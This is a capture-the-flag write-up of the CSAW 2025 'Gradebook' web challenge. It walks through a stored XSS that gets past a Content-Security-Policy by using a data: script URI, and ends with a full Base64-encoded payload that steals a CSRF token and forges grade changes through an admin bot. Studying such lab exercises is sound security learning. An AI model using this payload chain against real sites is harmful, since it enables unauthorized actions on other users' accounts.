CSAW 2025 CTF Qualifiers
Between September 13th, 2025 and September 14th, 2025, I participated in CSAW 2025 Qualifiers together with the Kernel Sanders #CTF team at the University of Florida (#UF). The CTF lasted over a period of 48 hours.
This time, I solved one challenge: Gradebook
.
Gradebook
This is a #web challenge. Web challenges generally contain some type of vulnerable website. We are presented with the following challenge description and URLs:
It's the end of the semester and teachers are requesting class feedback per usual! Can you find a way to game the gradebook and get all A's?
https://gradebook-app.ctf.csaw.io/login https://gradebook-admin.ctf.csaw.io/
The first thing I notice is that we are given an admin bot. This means that the exploit likely has to do with something client-side, probably #XSS (cross site scripting) or #CSRF (cross-site request forgery), also known as #XSRF.
We are also given the source code of the website, as a ZIP file called dist.zip
.
Opening up dist.zip
, we find that it's a web app written in Flask. Flask is a web application framework written in Python. Luckily, I'm quite familiar with #Python, so this challenge might be doable.
We can see from the provided source code that, once we are able to log in as a student account, we can send a GET request to the /honor-roll-certificate
endpoint to get the flag. But we need to have all A's in the gradebook first. Here's the relevant code from app.py
:
@app.route('/honor-roll-certificate', methods=['GET'])
def honor_roll():
if 'user_id' not in session:
return redirect(url_for('login'))
user_id = session['user_id']
user_type = session['user_type']
if user_type == 'student':
student = Student.query.get_or_404(user_id)
student_letter_grades = [enrollment.grade for enrollment in student.enrollments]
if all(grade=="A" for grade in student_letter_grades):
return render_template_string("csawctf{testing-flag}")
return render_template_string(f"<html>{student_letter_grades}</html>")
else:
return redirect(url_for('dashboard', user_id=session['user_id']))
We also notice the /grade-change
endpoint, which we need to make a request to in order to change our grades. Let's make an account and get started!
When we visit the webpage https://gradebook-app.ctf.csaw.io/login, we're invited to log in. We notice that the login page allows us to register an account.
We register an account with the username abc
and password password1234
. Upon logging in, it seems like we have not studied very well in classes! We only have one A in Calculus I! It seems like the grades are randomized for every created account, but that doesn't really matter.
Attempting to visit the /honor-roll-certificate endpoint now only yields our grades and not the flag.
Back in the source code, going to dist/app/templates/dashboard.html
reveals that user input in the feedback <textarea>
elements is not sanitized. We can tell because the |safe
flag is present. This tells Flask not to escape any HTML that it receives.
<textarea name="comment_{{ element.enrollment_id }}" placeholder="Optional comment...">{{ element.feedback_comment|safe or '' }}</textarea>
Back in Python, we notice that a Content-Security-Policy
header is also sent. It contains the following values:
default-src 'none'; script-src 'self' data:; style-src 'self' 'unsafe-inline'; img-src *; font-src *; connect-src 'self'; object-src 'none'; media-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'self'; form-action 'self';
What we're interested in is script-src 'self' data:
. This means that scripts either have to be loaded from a URI that starts with https://gradebook-app.ctf.csaw.io/
or through a data:
URI. In order to embed a script in a data:
URI, the following code may be used:
<script src="data:text/javascript;base64,YWxlcnQoMCk="></script>
Let's break the above down, as it might seem a little opaque.
<script src="ORIGIN"></script>
indicates that you want to load JavaScript code from the originORIGIN
.ORIGIN
is most commonly a website such ashttps://website.example/assets/script.js
, but it can also be a URI starting withdata:
.data:
indicates that there is some binary data coming up. Rather than pointing to a remote location on the Internet, all information about the script to be loaded will be contained within the URI itself.text/javascript
indicates to the browser the type of data that the URI contains. In this case, it indicates that the URI contains JavaScript code. You might also seetext/plain
here. These are known as MIME types and are standardized. You can see some other common MIME types here.base64
indicates that the data will be encoded using Base64. This allows arbitrary binary data to be represented using ASCII text. It essentially makes unstructured binary data well-behaved.YWxlcnQoMCk=
is the Base64-encoded data.
Now, how did we obtain the encoded data? There are free Base64 encoders and decoders available online. We simply used one of those to convert our desired payload,
alert(0)
into its Base64 representation
YWxlcnQoMCk=
The payload alert(0)
simply pops up an alert dialog with the content 0
. It's a simple way to verify the presence of cross-site scripting (XSS) vulnerabilities. We need to properly close the <textarea>
tag in order to make sure our payload properly executes. We also reopen the <textarea>
tag so all the HTML is valid. So our final payload is
</textarea><script src="data:text/javascript;base64,YWxlcnQoMCk="></script></script><textarea>
Now let's plug that into the webpage as our comment and see what happens.
We notice that an alert window pops up. This means we were successful in our XSS!
Let's take another look at the Content Security Policy:
default-src 'none'; script-src 'self' data:; style-src 'self' 'unsafe-inline'; img-src *; font-src *; connect-src 'self'; object-src 'none'; media-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'self'; form-action 'self';
We notice that it contains connect-src 'self';
. This means that we can perform JavaScript XMLHttpRequests to this website. This means that we might be able to force the admin bot to change our grade. The /grade-change
endpoint has some security features in place to prevent this though: it contains a CSRF token. When a GET request is made to the endpoint, the website comes with a form field pre-populated with a token that needs to be submitted back to the website. If it is not submitted, the request fails.
Here's the plan to get our grade changed:
- Make a
GET
request to the/grade-change
endpoint. - Extract the CSRF token to use in our request.
- Pass the CSRF token together with our student ID and class IDs in a
POST
request to the/grade-change
endpoint.
We recall that our student ID is contained in the URL to our dashboard (https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838). We also recall that our dashboard contains the class IDs that we want our grades changed for.
First, we define an array containing the class IDs for which we need to get our grades changed. We also define a variable definining what class we're currently on, which will be important later.
var classIds = ["1053696f-2f06-4882-b226-07b6cb5de4d6", "175b650e-010b-41a2-b04e-83b75f6e3009", "f395d3ed-b5e3-4bd3-93fc-93a366d9e545", "4cc6efef-d95a-41b4-8c56-9579f654e881"];
var currentClassId = 0;
Next, we loop over all the class IDs in the array, performing a GET
request to the /grade-change
endpoint for each class ID. We also add a reqListener so we can handle the response.
for (; currentClassId < classIds.length; currentClassId++) {
const req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "/grade-change", false);
req.send();
}
Finally, after getting the response from /grade-change
endpoint, we extract the CSRF token. Because of how JavaScript works, this needs to be done in a callback function defined before the XMLHttpRequest
that we're making. Our plan is to create a dummy HTML tag, then use built-in DOM parsing functions to get the tag we want.
Taking a look at dist/app/templates/grade-change.html
, we find that the CSRF token is stored inside the first <input>
tag in the HTML. Let's now write the code to parse the HTML.
function reqListener() {
let responseHtml = this.responseText;
let root = document.createElement( 'html' );
root.innerHTML = responseHtml;
let inputs = root.getElementsByTagName("input");
let csrfToken = "";
for (let i=0; i<inputs.length; i++) {
csrfToken = inputs[i].value;
break;
}
console.log(csrfToken);
}
Finally, we need to use the CSRF token to make the POST
request to the /grade-change
endpoint. We pass our newly-obtained CSRF token in and make sure our grade is set to A. We also grab our student ID from the /dashboard
URL. Our student ID is 55c9057c-b99d-48f7-81aa-79d0cd9c4838
.
function reqListener() {
let responseHtml = this.responseText;
let root = document.createElement( 'html' );
root.innerHTML = responseHtml;
let inputs = root.getElementsByTagName("input");
let csrfToken = "";
for (let i=0; i<inputs.length; i++) {
csrfToken = inputs[i].value;
break;
}
console.log(csrfToken);
const req = new XMLHttpRequest();
req.open("POST", "/grade-change");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send("grade=A&student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&class_id=" + classIds[currentClassId] + "&csrf_token=" + csrfToken);
}
Our final payload is
var classIds = ["1053696f-2f06-4882-b226-07b6cb5de4d6", "175b650e-010b-41a2-b04e-83b75f6e3009", "f395d3ed-b5e3-4bd3-93fc-93a366d9e545", "4cc6efef-d95a-41b4-8c56-9579f654e881"];
var currentClassId = 0;
function reqListener() {
let responseHtml = this.responseText;
let root = document.createElement( 'html' );
root.innerHTML = responseHtml;
let inputs = root.getElementsByTagName("input");
let csrfToken = "";
for (let i=0; i<inputs.length; i++) {
csrfToken = inputs[i].value;
break;
}
console.log(csrfToken);
const req = new XMLHttpRequest();
req.open("POST", "/grade-change");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send("grade=A&student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&class_id=" + classIds[currentClassId] + "&csrf_token=" + csrfToken);
}
for (; currentClassId < classIds.length; currentClassId++) {
const req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "/grade-change", false);
req.send();
}
There's one last step: we need to Base64 encode this payload. After performing this step, we get
dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=
Finally, we can plug this Base64-encoded string into our XSS payload from earlier to yield the final payload of
</textarea><script src="data:text/javascript;base64,dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0="></script></script><textarea>
Let's paste that into the textbox and see how the server responds! Note that there's an extra textbox because our payload puts an extra <textarea>
tag in to ensure that the resulting HTML is valid. The second textbox doesn't really do anything. We could just as well have hid it with style="display:none"
if we wanted to.
After clicking “Submit Ratings & Comments”, nothing happens to our grade. But that's because we're not an admin yet. We'll need to get the admin bot to visit this page. To do this, we visit the admin bot URL given in the challenge, https://gradebook-admin.ctf.csaw.io/, and paste our URL https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838 in.
After reloading our student dashboard, we notice that we now have straight A's!
Now, we visit https://gradebook-app.ctf.csaw.io/honor-roll-certificate to get the flag.
The flag is
csawctf{y0u_m@de_the_h@cking_h0n0r_r0ll}
Revision 1 (2025-09-15): Fix images not loading properly.
Questions or suggestions? Reach out to me at vance.ylhuang.com!